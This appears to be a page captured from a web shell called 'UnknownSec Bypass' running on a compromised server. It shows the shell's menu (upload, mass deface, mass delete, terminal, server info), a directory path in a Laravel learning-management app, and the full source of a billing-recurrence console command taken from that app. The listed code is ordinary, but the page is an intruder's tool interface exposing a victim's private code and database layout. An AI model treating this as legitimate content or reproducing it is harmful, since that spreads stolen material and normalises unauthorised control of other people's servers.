UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Console
/
Commands
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
AdjustRecurrence.php
<?php namespace EstudioLMS\Console\Commands; use Carbon\Carbon; use EstudioLMS\Repositories\Auth\UserRepository; use Illuminate\Console\Command; use EstudioLMS\Models\Financial\Recurring; /** * */ class AdjustRecurrence extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'adjust'; /** * The console command description. * * @var string */ protected $description = 'Faz um ajuste nos registros da recorrĂȘncia que tiveram suas cobranças interrompidas'; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); } /** * Execute the console command. * * @return void */ public function handle() { $userRepo = app(UserRepository::class); //$recurrings = Recurring::whereIn('id', [3, 9])->get(); $recurrings = Recurring::where('fee_amount', '=', 0) ->where('status', '=',1)->get(); foreach ($recurrings as $key => $rec) { $user = $userRepo->findByField('id', $rec->user_id)->first(); $payable = \DB::table('payables')->where('payment_code', '=', $rec->payment_code)->first(); $countRecurrences = \DB::table('recurrings')->where('subscription_hash', '=', $rec->subscription_hash)->count(); $chargeNumber = $countRecurrences + 1; $today = Carbon::now(); $pastDate = Carbon::parse($rec->due_date); $lastDay = Carbon::now()->endOfMonth()->day; if ($pastDate->day >= $today->day && $pastDate->day <= $lastDay) { $nextDue = Carbon::now(); } else { $nextDue = Carbon::now()->addMonth(); } $nextDue->day = $pastDate->day; $nextDue = $nextDue->format('Y-m-d'); if($payable) { $rec->fee_amount = $payable->fee_amount; $rec->net_amount = $payable->net_amount; $rec->charge_number = $chargeNumber; $rec->save(); } $subscription = \DB::table('hire_subscriptions')->where('subscription_hash', '=', $rec->subscription_hash)->first(); if ($subscription->status == 4) { $rec->status = 5; $rec->save(); continue; } $recurrence = [ 'user_id' => $user->id, 'subscription_hash' => $rec->subscription_hash, 'gateway_id' => 1, 'due_date' => $nextDue, 'next_attempt_date' => $nextDue, 'payment_type' => $rec->payment_type, 'card_id' => $rec->card_id, 'payment_date' => null, 'attempts' => 0, 'gross_amount' => $rec->gross_amount, 'discount_amount' => null, 'fee_amount' => 0.00, 'extra_amount' => null, 'net_amount' => $rec->gross_amount, 'charge_number' => $chargeNumber, 'status' => 0 ]; Recurring::create($recurrence); } $nextDay = Carbon::now()->addDay()->toDateString(); $recurrings = Recurring::whereNull('payment_date') ->where('next_attempt_date', '<', $nextDay) ->whereIn('status', [0, 2, 3]) ->get(); foreach ($recurrings as $key => $rec) { $rec->status = 6; $rec->save(); $subscription = \DB::table('hire_subscriptions') ->where('subscription_hash', '=', $rec->subscription_hash) ->update(['status' => 4]); } } }
Copyright © 2026 - UnknownSec